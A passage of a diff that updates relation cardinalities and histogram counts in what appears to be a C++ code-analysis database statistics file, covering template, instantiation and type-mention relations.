-                    <v>1306521</v>
+                    <v>1295997</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>is_complete</name>
-            <cardinality>1706313</cardinality>
+            <cardinality>1694439</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1706313</v>
+                    <v>1694439</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>is_class_template</name>
-            <cardinality>406871</cardinality>
+            <cardinality>405028</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>406871</v>
+                    <v>405028</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>class_instantiation</name>
-            <cardinality>1132350</cardinality>
+            <cardinality>1121943</cardinality>
             <columnsizes>
                 <e>
                     <k>to</k>
-                    <v>1132350</v>
+                    <v>1121943</v>
                 </e>
                 <e>
                     <k>from</k>
-                    <v>171811</v>
+                    <v>170761</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -21933,7 +21963,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1132350</v>
+                                    <v>1121943</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21949,42 +21979,42 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>60417</v>
+                                    <v>58802</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>29736</v>
+                                    <v>30106</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>16048</v>
+                                    <v>16464</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>14160</v>
+                                    <v>14582</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>15576</v>
+                                    <v>15523</v>
                                 </b>
                                 <b>
                                     <a>7</a>
-                                    <b>14</b>
-                                    <v>15576</v>
+                                    <b>13</b>
+                                    <v>13171</v>
                                 </b>
                                 <b>
-                                    <a>14</a>
-                                    <b>34</b>
-                                    <v>13216</v>
+                                    <a>13</a>
+                                    <b>29</b>
+                                    <v>13171</v>
                                 </b>
                                 <b>
-                                    <a>34</a>
+                                    <a>30</a>
                                     <b>84</b>
-                                    <v>7080</v>
+                                    <v>8937</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21994,19 +22024,19 @@
         </relation>
         <relation>
             <name>class_template_argument</name>
-            <cardinality>2984763</cardinality>
+            <cardinality>2978116</cardinality>
             <columnsizes>
                 <e>
                     <k>type_id</k>
-                    <v>1362392</v>
+                    <v>1355715</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>1297</v>
+                    <v>1295</v>
                 </e>
                 <e>
                     <k>arg_type</k>
-                    <v>873917</v>
+                    <v>863387</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22020,27 +22050,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>553906</v>
+                                    <v>551563</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>419705</v>
+                                    <v>411593</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>242829</v>
+                                    <v>246019</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>121721</v>
+                                    <v>122356</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>113</b>
-                                    <v>24228</v>
+                                    <v>24182</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22056,22 +22086,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>578853</v>
+                                    <v>577422</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>432393</v>
+                                    <v>424939</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>256363</v>
+                                    <v>257885</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>113</b>
-                                    <v>94781</v>
+                                    <v>95468</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22092,7 +22122,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>822</v>
+                                    <v>821</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -22111,12 +22141,12 @@
                                 </b>
                                 <b>
                                     <a>592</a>
-                                    <b>8760</b>
+                                    <b>8835</b>
                                     <v>104</v>
                                 </b>
                                 <b>
-                                    <a>12939</a>
-                                    <b>114739</b>
+                                    <a>13776</a>
+                                    <b>114840</b>
                                     <v>46</v>
                                 </b>
                             </bs>
@@ -22138,7 +22168,7 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>822</v>
+                                    <v>821</v>
                                 </b>
                                 <b>
                                     <a>3</a>
@@ -22157,12 +22187,12 @@
                                 </b>
                                 <b>
                                     <a>195</a>
-                                    <b>3458</b>
+                                    <b>4197</b>
                                     <v>104</v>
                                 </b>
                                 <b>
-                                    <a>11165</a>
-                                    <b>39733</b>
+                                    <a>10467</a>
+                                    <b>39739</b>
                                     <v>34</v>
                                 </b>
                             </bs>
@@ -22179,27 +22209,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>536062</v>
+                                    <v>535650</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>191313</v>
+                                    <v>181071</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>53972</v>
+                                    <v>52573</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>11</b>
-                                    <v>67088</v>
+                                    <b>10</b>
+                                    <v>65688</v>
                                 </b>
                                 <b>
-                                    <a>11</a>
-                                    <b>10817</b>
-                                    <v>25479</v>
+                                    <a>10</a>
+                                    <b>11334</b>
+                                    <v>28403</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22215,17 +22245,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>762763</v>
+                                    <v>755683</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>94156</v>
+                                    <v>85741</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>22</b>
-                                    <v>16998</v>
+                                    <v>21961</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22235,19 +22265,19 @@
         </relation>
         <relation>
             <name>class_template_argument_value</name>
-            <cardinality>506465</cardinality>
+            <cardinality>508520</cardinality>
             <columnsizes>
                 <e>
                     <k>type_id</k>
-                    <v>314830</v>
+                    <v>316590</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>1888</v>
+                    <v>1881</v>
                 </e>
                 <e>
                     <k>arg_value</k>
-                    <v>506465</v>
+                    <v>508520</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22261,17 +22291,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>259133</v>
+                                    <v>261081</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>53809</v>
+                                    <v>53627</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>1888</v>
+                                    <v>1881</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22287,22 +22317,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>199187</v>
+                                    <v>200397</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>81185</v>
+                                    <v>81852</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>4</b>
-                                    <v>12272</v>
+                                    <b>5</b>
+                                    <v>29165</v>
                                 </b>
                                 <b>
-                                    <a>4</a>
+                                    <a>5</a>
                                     <b>9</b>
-                                    <v>22184</v>
+                                    <v>5174</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22318,22 +22348,22 @@
                                 <b>
                                     <a>18</a>
                                     <b>19</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>92</a>
                                     <b>93</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>299</a>
-                                    <b>300</b>
-                                    <v>472</v>
+                                    <a>309</a>
+                                    <b>310</b>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>380</a>
-                                    <b>381</b>
-                                    <v>472</v>
+                                    <a>376</a>
+                                    <b>377</b>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22349,22 +22379,22 @@
                                 <b>
                                     <a>19</a>
                                     <b>20</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>124</a>
                                     <b>125</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>410</a>
-                                    <b>411</b>
-                                    <v>472</v>
+                                    <a>425</a>
+                                    <b>426</b>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>520</a>
-                                    <b>521</b>
-                                    <v>472</v>
+                                    <a>513</a>
+                                    <b>514</b>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22380,7 +22410,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>506465</v>
+                                    <v>508520</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22396,7 +22426,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>506465</v>
+                                    <v>508520</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22406,15 +22436,15 @@
         </relation>
         <relation>
             <name>is_proxy_class_for</name>
-            <cardinality>65137</cardinality>
+            <cardinality>65387</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>65137</v>
+                    <v>65387</v>
                 </e>
                 <e>
                     <k>templ_param_id</k>
-                    <v>65137</v>
+                    <v>65387</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22428,7 +22458,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>65137</v>
+                                    <v>65387</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22444,7 +22474,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>65137</v>
+                                    <v>65387</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22454,19 +22484,19 @@
         </relation>
         <relation>
             <name>type_mentions</name>
-            <cardinality>4011226</cardinality>
+            <cardinality>4011508</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4011226</v>
+                    <v>4011508</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>197321</v>
+                    <v>197335</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>3977856</v>
+                    <v>3978135</v>
                 </e>
                 <e>
                     <k>kind</k>
@@ -22484,7 +22514,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4011226</v>
+                                    <v>4011508</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22500,7 +22530,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4011226</v>
+                                    <v>4011508</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22516,7 +22546,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4011226</v>
+                                    <v>4011508</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22532,17 +22562,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>97169</v>
+                                    <v>97176</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>21637</v>
+                                    <v>21638</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>8193</v>
+                                    <v>8194</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -22552,22 +22582,22 @@
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>14318</v>
+                                    <v>14319</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>12</b>
-                                    <v>15790</v>
+                                    <v>15791</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>27</b>
-                                    <v>15114</v>
+                                    <v>15115</v>
                                 </b>
                                 <b>
                                     <a>27</a>
                                     <b>8555</b>
-                                    <v>14358</v>
+                                    <v>14359</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22583,17 +22613,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>97169</v>
+                                    <v>97176</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>21637</v>
+                                    <v>21638</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>8193</v>
+                                    <v>8194</v>
                                 </b>
                                 <b>
                                     <a>4</a>
@@ -22603,22 +22633,22 @@
                                 <b>
                                     <a>5</a>
                                     <b>7</b>
-                                    <v>14318</v>
+                                    <v>14319</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>12</b>
-                                    <v>15790</v>
+                                    <v>15791</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>27</b>
-                                    <v>15114</v>
+                                    <v>15115</v>
                                 </b>
                                 <b>
                                     <a>27</a>
                                     <b>8555</b>
-                                    <v>14358</v>
+                                    <v>14359</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22634,7 +22664,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>197321</v>
+                                    <v>197335</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22650,12 +22680,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3944485</v>
+                                    <v>3944762</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>33370</v>
+                                    <v>33373</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22671,12 +22701,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3944485</v>
+                                    <v>3944762</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>33370</v>
+                                    <v>33373</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22692,7 +22722,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3977856</v>
+                                    <v>3978135</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22750,26 +22780,26 @@
         </relation>
         <relation>
             <name>is_function_template</name>
-            <cardinality>1418387</cardinality>
+            <cardinality>1413601</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1418387</v>
+                    <v>1413601</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>function_instantiation</name>
-            <cardinality>895034</cardinality>
+            <cardinality>906422</cardinality>
             <columnsizes>
                 <e>
                     <k>to</k>
-                    <v>895034</v>
+                    <v>906422</v>
                 </e>
                 <e>
                     <k>from</k>
-                    <v>144729</v>
+                    <v>146002</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22783,7 +22813,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>895034</v>
+                                    <v>906422</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22799,27 +22829,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>100124</v>
+                                    <v>101152</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>14448</v>
+                                    <v>14480</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>6</b>
-                                    <v>11964</v>
+                                    <v>12014</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>21</b>
-                                    <v>11964</v>
+                                    <v>12049</v>
                                 </b>
                                 <b>
                                     <a>22</a>
-                                    <b>864</b>
-                                    <v>6227</v>
+                                    <b>869</b>
+                                    <v>6306</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22829,19 +22859,19 @@
         </relation>
         <relation>
             <name>function_template_argument</name>
-            <cardinality>2313992</cardinality>
+            <cardinality>2339815</cardinality>
             <columnsizes>
                 <e>
                     <k>function_id</k>
-                    <v>1303055</v>
+                    <v>1318394</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>559</v>
+                    <v>563</v>
                 </e>
                 <e>
                     <k>arg_type</k>
-                    <v>302683</v>
+                    <v>305041</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22855,22 +22885,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>668792</v>
+                                    <v>679667</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>388709</v>
+                                    <v>388084</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>175375</v>
+                                    <v>179966</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>15</b>
-                                    <v>70178</v>
+                                    <v>70676</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22886,22 +22916,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>683870</v>
+                                    <v>694852</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>393991</v>
+                                    <v>393404</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>146583</v>
+                                    <v>150970</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>9</b>
-                                    <v>78609</v>
+                                    <v>79167</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22917,57 +22947,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>209</v>
+                                    <v>211</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>8</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>35</a>
                                     <b>36</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>108</a>
                                     <b>109</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>164</a>
                                     <b>165</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>294</a>
                                     <b>295</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>849</a>
                                     <b>850</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>3198</a>
-                                    <b>3199</b>
-                                    <v>34</v>
+                                    <a>3293</a>
+                                    <b>3294</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>8582</a>
-                                    <b>8583</b>
-                                    <v>34</v>
+                                    <a>8487</a>
+                                    <b>8488</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>17395</a>
-                                    <b>17396</b>
-                                    <v>34</v>
+                                    <a>17489</a>
+                                    <b>17490</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>34286</a>
-                                    <b>34287</b>
-                                    <v>34</v>
+                                    <a>34459</a>
+                                    <b>34460</b>
+                                    <v>35</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22983,57 +23013,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>209</v>
+                                    <v>211</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>12</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>22</a>
                                     <b>23</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>30</a>
                                     <b>31</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>61</a>
                                     <b>62</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>134</a>
                                     <b>135</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>452</a>
-                                    <b>453</b>
-                                    <v>34</v>
+                                    <a>453</a>
+                                    <b>454</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>1127</a>
-                                    <b>1128</b>
-                                    <v>34</v>
+                                    <a>1126</a>
+                                    <b>1127</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>2404</a>
                                     <b>2405</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>5836</a>
-                                    <b>5837</b>
-                                    <v>34</v>
+                                    <a>5842</a>
+                                    <b>5843</b>
+                                    <v>35</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23049,32 +23079,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>185521</v>
+                                    <v>186978</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>44534</v>
+                                    <v>44850</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>23334</v>
+                                    <v>23218</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>16</b>
-                                    <v>23369</v>
+                                    <v>23535</v>
                                 </b>
                                 <b>
                                     <a>16</a>
-                                    <b>113</b>
-                                    <v>25118</v>
+                                    <b>107</b>
+                                    <v>23006</v>
                                 </b>
                                 <b>
-                                    <a>126</a>
+                                    <a>108</a>
                                     <b>955</b>
-                                    <v>804</v>
+                                    <v>3452</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23090,17 +23120,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>272771</v>
+                                    <v>274918</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>25818</v>
+                                    <v>26001</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>17</b>
-                                    <v>4093</v>
+                                    <v>4122</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23110,19 +23140,19 @@
         </relation>
         <relation>
             <name>function_template_argument_value</name>
-            <cardinality>358342</cardinality>
+            <cardinality>362998</cardinality>
             <columnsizes>
                 <e>
                     <k>function_id</k>
-                    <v>179083</v>
+                    <v>181340</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>559</v>
+                    <v>563</v>
                 </e>
                 <e>
                     <k>arg_value</k>
-                    <v>355719</v>
+                    <v>360356</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -23136,12 +23166,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>169778</v>
+                                    <v>171969</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>8</b>
-                                    <v>9305</v>
+                                    <v>9371</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23157,17 +23187,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>149417</v>
+                                    <v>151428</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>20535</v>
+                                    <v>20681</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>97</b>
-                                    <v>9130</v>
+                                    <v>9230</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23183,52 +23213,52 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>209</v>
+                                    <v>211</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>69</v>
+                                    <v>70</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>12</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>26</a>
                                     <b>27</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>94</a>
                                     <b>95</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>314</a>
                                     <b>315</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>709</a>
                                     <b>710</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>964</a>
-                                    <b>965</b>
-                                    <v>34</v>
+                                    <a>992</a>
+                                    <b>993</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>1187</a>
                                     <b>1188</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>2148</a>
                                     <b>2149</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23244,52 +23274,52 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>209</v>
+                                    <v>211</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>69</v>
+                                    <v>70</v>
                                 </b>
                                 <b>
                                     <a>60</a>
                                     <b>61</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>80</a>
                                     <b>81</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>141</a>
                                     <b>142</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>533</a>
                                     <b>534</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
-                                    <a>1550</a>
-                                    <b>1551</b>
-                                    <v>34</v>
+                                    <a>1610</a>
+                                    <b>1611</b>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>1821</a>
                                     <b>1822</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>2202</a>
                                     <b>2203</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                                 <b>
                                     <a>3771</a>
                                     <b>3772</b>
-                                    <v>34</v>
+                                    <v>35</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23305,12 +23335,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>353095</v>
+                                    <v>357714</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>2623</v>
+                                    <v>2642</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23326,7 +23356,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>355719</v>
+                                    <v>360356</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23336,26 +23366,26 @@
         </relation>
         <relation>
             <name>is_variable_template</name>
-            <cardinality>42225</cardinality>
+            <cardinality>42132</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>42225</v>
+                    <v>42132</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>variable_instantiation</name>
-            <cardinality>48633</cardinality>
+            <cardinality>49154</cardinality>
             <columnsizes>
                 <e>
                     <k>to</k>
-                    <v>48633</v>
+                    <v>49154</v>
                 </e>
                 <e>
                     <k>from</k>
-                    <v>24894</v>
+                    <v>25049</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -23369,7 +23399,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>48633</v>
+                                    <v>49154</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23385,22 +23415,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>14390</v>
+                                    <v>14358</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>7667</v>
+                                    <v>7650</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>8</b>
-                                    <v>1785</v>
+                                    <v>1991</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>14</b>
-                                    <v>1050</v>
+                                    <v>1048</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23410,19 +23440,19 @@
         </relation>
         <relation>
             <name>variable_template_argument</name>
-            <cardinality>328248</cardinality>
+            <cardinality>327628</cardinality>
             <columnsizes>
                 <e>
                     <k>variable_id</k>
-                    <v>26469</v>
+                    <v>26411</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>1785</v>
+                    <v>1781</v>
                 </e>
                 <e>
                     <k>arg_type</k>
-                    <v>217116</v>
+                    <v>216742</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -23436,22 +23466,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16176</v>
+                                    <v>16140</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>5672</v>
+                                    <v>5659</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>3886</v>
+                                    <v>3877</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>17</b>
-                                    <v>735</v>
+                                    <v>733</v>
                                 </b>
                             </bs>
                         </hist>
@@ -23467,52 +23497,52 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5987</v>
+                                    <v>5974</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>5251</v>
+                                    <v>5240</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>1995</v>
+                                    <v>1991</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>1155</v>
+                                    <v>1152</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>2415</v>
+                                    <v>2410</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>8</b>
-                                    <v>2310</v>
+                                    <v>2305</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>11</b>
-                                    <v>2205</v>
+                                    <v>2200</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>18</b>
-                                    <v>2415</v>
